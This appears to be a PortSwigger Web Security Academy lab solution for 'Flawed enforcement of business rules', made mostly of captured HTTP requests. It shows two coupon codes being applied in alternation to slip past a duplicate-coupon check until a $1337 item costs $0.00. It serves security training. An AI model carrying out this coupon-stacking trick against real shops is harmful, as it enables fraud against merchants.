Port Swigger Flawed enforcement of business rules
Flawed enforcement of business rules
Solution
Get promo code on the website
New customers use code at checkout: NEWCUST5
---
Get second promo code on the website
Use coupon SIGNUP30 at checkout!
---
POST /sign-up HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=eYDAlHzOsD9pRmH42AS8Pv2SvzN441kL
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=gqUXya8cZimDTZECpvSVEAHVuLJa44Id&email%2F=pentest%40localhost.pl
---
GET /?sign-up-confirmed=true HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=eYDAlHzOsD9pRmH42AS8Pv2SvzN441kL
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Login to website, user: wiener
POST /login HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=eYDAlHzOsD9pRmH42AS8Pv2SvzN441kL
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=gqUXya8cZimDTZECpvSVEAHVuLJa44Id&username=wiener&password=peter
---
GET /my-account?id=wiener HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=nK9z5r73MtZOl3299vg7hx0KjnrYmAuX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Add product to bucket
POST /cart HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=nK9z5r73MtZOl3299vg7hx0KjnrYmAuX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/product?productId=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=1&redir=PRODUCT&quantity=1
---
GET /cart HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=nK9z5r73MtZOl3299vg7hx0KjnrYmAuX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/product?productId=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Add coupons to reduce price and buy
Adding coupons alternately
NEWCUST5
SIGNUP30
---
POST /cart/coupon HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=nK9z5r73MtZOl3299vg7hx0KjnrYmAuX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/cart
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=lbcDzs2p96MrMe7i7lZUlVjxJGrmqCHd&coupon=SIGNUP30
---
GET /cart HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=nK9z5r73MtZOl3299vg7hx0KjnrYmAuX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/cart
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
POST /cart/coupon HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=nK9z5r73MtZOl3299vg7hx0KjnrYmAuX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/cart
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=lbcDzs2p96MrMe7i7lZUlVjxJGrmqCHd&coupon=NEWCUST5
---
GET /cart HTTP/2
Host: 0ace0094037b815580c93f5100f600a9.web-security-academy.net
Cookie: session=nK9z5r73MtZOl3299vg7hx0KjnrYmAuX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ace0094037b815580c93f5100f600a9.web-security-academy.net/cart
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
Response
Name Price Quantity
Lightweight "l33t" Leather Jacket $1337.00 1
SIGNUP30 -$401.10
NEWCUST5 -$5.00
SIGNUP30 -$401.10
NEWCUST5 -$5.00
SIGNUP30 -$401.10
NEWCUST5 -$5.00
SIGNUP30 -$401.10
Total: $0.00
Solved